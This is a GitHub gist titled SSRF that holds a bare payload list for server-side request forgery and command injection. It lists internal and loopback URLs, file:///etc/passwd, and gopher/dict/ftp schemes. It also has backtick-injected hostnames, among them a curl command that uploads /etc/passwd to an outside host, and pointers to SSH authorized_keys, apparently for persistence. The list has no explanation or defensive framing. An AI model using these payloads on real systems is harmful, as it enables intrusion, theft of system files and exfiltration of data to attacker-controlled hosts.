Skip to content

Instantly share code, notes, and snippets.

@rukh-debug
Forked from ffcommax/SSRF
Created February 22, 2021 16:49
Show Gist options
  • Save rukh-debug/2d985e7dc9a15851188b7f9f5cbc6e45 to your computer and use it in GitHub Desktop.
Save rukh-debug/2d985e7dc9a15851188b7f9f5cbc6e45 to your computer and use it in GitHub Desktop.
SSRF
http://localhost
http://0
http://127.0.0.1
https://localhost
http://localhost:8080
http://192.168.0.1
file:///
file:///etc/passwd
file:///c/
chrome://about
about:addons
file://s/etc/passwd
ftp://
dict://
gopher://
https://blog.safebuff.com/2016/07/03/SSRF-Tips/
---------------------------
https://www.youtube.com/channel/UCIXot2vRgeM5alhAlpTbhQA
https://www.youtube.com/watch?v=apzJiaQ6a3k&feature=emb_rel_pause
`whoami`.mylocal.com
`curl -F ,@/etc/passwd, mylocal.com`.mylocal.com
`echo test | tee /tmp/test`.mylocal.com
`curl -F ,@/tmp/test, mylocal.com`.mylocal.com
ssh-keygen
/home/blabla/.ssh/authorized_keys
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment